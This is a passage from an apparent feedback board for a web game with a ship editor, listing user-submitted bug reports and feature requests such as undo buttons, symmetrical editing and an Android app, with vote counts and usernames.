  623 agree

• It doesn't work!
  By the destructor - 154 months ago
  Unvote

  622 agree

• Awesome
  By Anonymous - 147 months ago
  Unvote

  602 agree

• Try Me does not work
  By Tim - 155 months ago
  Unvote

  592 agree

• Two major glitches
  By BeyPokéDig - 154 months ago
  Unvote

  590 agree

• battle
  By alexof - 152 months ago
  Unvote

  579 agree

• Save
  By DevilishDB - 153 months ago
  Unvote

  579 agree

• Undo button
  By wombat - 152 months ago
  Unvote

  572 agree

• Doesn't work on ismittromneythepresident.com
  By MassMurdererOver9000 - 148 months ago
  Unvote

  566 agree

• achievements
  By Lee - 154 months ago
  Unvote

  565 agree

• Posting times of feedback and feedback comments
  By BeyPokéDig - 154 months ago
  Unvote

  564 agree

• how do i draw the outline
  By kickassisdeboss - 154 months ago
  Unvote

  564 agree

• omfg
  By Russellmichael13 - 153 months ago
  Unvote

  558 agree

• Pen tool
  By Cblackdragon - 149 months ago
  Unvote

  552 agree

• White labeling the app?
  By Peter.dibart - 150 months ago
  Unvote

  522 agree

• You guys should have a symmetrical mode
  By Idrees - 154 months ago
  Unvote

  522 agree

• Menu not showing up
  By Patrick.Fletcher.118 - 154 months ago
  Unvote

  519 agree

• Enemies
  By Agallup16 - 154 months ago
  Unvote

  511 agree

• Mirrored editing
  By wombat - 152 months ago
  Unvote

  506 agree

• Designer
  By Anonymous - 155 months ago
  Unvote

  497 agree

• need some advice
  By Hao - 152 months ago
  Unvote

  495 agree

• Rankings
  By heyo - 154 months ago
  Unvote

  493 agree

• Benefits from improving ranks
  By hurrtz - 150 months ago
  Unvote

  490 agree

• Pro!!
  By Jtbui20 - 153 months ago
  Unvote

  488 agree

• Button
  By Cottonball - 153 months ago
  Vote

  483 agree

• Forums
  By BeyPokéDig - 154 months ago
  Unvote

  479 agree

• help
  By Russellmichael13 - 153 months ago
  Unvote

  476 agree

• android app
  By Barissenkal - 146 months ago
  Unvote

  469 agree

• Undo Button
  By Cblackdragon - 149 months ago
  Unvote

  467 agree

• Extra weapons
  By MassMurdererOver9000 - 149 months ago
  Unvote

  465 agree

• 1 agrees
  By BeyPokéDig - 154 months ago
  Unvote

  462 agree

• I am using this on my site
  By Idrees - 154 months ago
  Unvote

  461 agree

• Image for ship
  By wombat - 152 months ago
  Unvote

  455 agree

• 0xp till| Only GA.
  By StoleYourFood - 149 months ago
  Unvote

  455 agree

• Question
  By Kickin Ass - 154 months ago
  Unvote

  441 agree

• how come the editor is so hard to use
  By Rcasassin - 151 months ago
  Unvote

  434 agree

• You guys need an undo button
  By Idrees - 154 months ago
  Unvote

  432 agree

• page moving up/down while controling the ship?
  By Tommy - 154 months ago
  Unvote

  420 agree